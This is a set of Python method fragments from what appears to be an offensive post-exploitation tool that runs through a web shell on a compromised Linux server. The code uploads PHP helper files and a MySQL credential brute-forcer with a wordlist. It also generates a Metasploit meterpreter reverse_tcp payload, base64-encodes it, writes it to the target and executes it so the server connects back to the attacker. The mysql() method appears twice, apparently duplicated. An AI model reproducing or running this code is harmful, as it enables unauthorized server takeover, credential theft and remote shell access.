def __init__(self, username, password): cprint("\n[+] Please type 'exit' when your done to remove the files uploaded on the server") self.username = username self.password = password self.hostDir = linux.get_writble_dir() if not self.hostDir: cprint("'\n[+] Unable to locate a writeble directory on the server") cprint("\n[+]MySQL module can't be used. Exiting now!") else: self.phpFile = [self.hostDir + "/mysql.php", self.hostDir + "/auth.php"] cprint('\n[+] Uploading PHP files...', 'green') for i in self.phpFile: file_handler.upload_file('modules/services/{0}'.format(i.split('/')[-1]), i) cmd = 'echo "%s,%s" > %s/auth.txt' % (self.username, self.password, self.hostDir) cprint('\n[+] Authenticating with the server...', 'blue') make_request.get_page_source(cmd) cmd = "cd {0}; php {1}".format(self.hostDir, 'auth.php') res = make_request.get_page_source(cmd) if 'failure' in res: cprint("\n[+]Access denied for user '{0}'@'localhost'".format(self.username), 'red') self.authorized = False else: cprint("\n[+]Login Successful", 'green') self.authorized = True
def mysql(self): folder = linux.get_writble_dir() if folder: self.bruter_file = folder + "/mysql.php" self.wordlist = folder + "/wordlist.txt" cprint("\n[+] Uploading the bruter/wordlist ...", "green") file_handler.upload_file("modules/bruters/mysql_bruter.php", self.bruter_file) file_handler.upload_file("modules/bruters/wordlist.txt", self.wordlist) cmd = "cd {0}; php {1}".format(folder, self.bruter_file) cprint("\n[+] Brute-Forcing MySql Creds ...", "green") creds = make_request.get_page_source(cmd) creds = "".join(creds).split(":") if creds[0] == "success": username = colored(creds[1], "blue") password = colored(creds[2], "blue") print "[+] MySql Creds Username: {0} Password: {1}".format(username, password) else: cprint("[!] Couldn't brute-force MySql credentials", "red") self.clean()
def msf(self, ip, port): if len(Popen("for x in `whereis msfvenom`; do file $x | grep symbolic; done", shell=True, stdout=PIPE).stdout.read().strip()) == 0: cprint('\n[!] Wasn\'t able to detect the metasploit framework', 'red') else: cprint('\n[i] Found the metasploit framework:', 'green') folder = linux.get_writble_dir() if folder: filename = ''.join(choice(string.ascii_letters + string.digits) for x in range(8)) cprint('[+] Filename: \'{0}\''.format(filename), 'green') path = '{0}/{1}'.format(folder, filename) msg = colored('\n[i] Make sure: \'{0}\' has a listener shell setup on port: \'{1}\'', 'green') msg += ' (hint: msfcli exploit/multi/handler PAYLOAD=linux/x86/meterpreter/reverse_tcp LHOST={0} LPORT={1} E)' msg += colored('\n[?] Press <return> when ready!', 'yellow') raw_input(msg.format(ip, port)) cprint('[i] Generating linux/x86/meterpreter/reverse_tcp', 'green') shell = Popen('msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST={0} LPORT={1} -f elf | base64'.format(ip, port), shell=True, stdout=PIPE).stdout.read().strip() cmd = 'echo "{0}" | base64 -i -d > {1} && chmod +x {1} && nohup {1} &'.format(shell, path) cprint('[+] Sending payload & executing', 'green') make_request.get_page_source(cmd) cprint('[+] Done!', 'blue')
def mysql(self): folder = linux.get_writble_dir() if folder: self.bruter_file = folder + '/mysql.php' self.wordlist = folder + '/wordlist.txt' cprint('\n[+] Uploading the bruter/wordlist ...', 'green') file_handler.upload_file('modules/bruters/mysql_bruter.php', self.bruter_file) file_handler.upload_file('modules/bruters/wordlist.txt', self.wordlist) cmd = 'cd {0}; php {1}'.format(folder, self.bruter_file) cprint('\n[+] Brute-Forcing MySql Creds ...', 'green') creds = make_request.get_page_source(cmd) creds = ''.join(creds).split(':') if creds[0] == 'success': username = colored(creds[1], 'blue') password = colored(creds[2], 'blue') print '[+] MySql Creds Username: {0} Password: {1}'.format( username, password) else: cprint('[!] Couldn\'t brute-force MySql credentials', 'red') self.clean()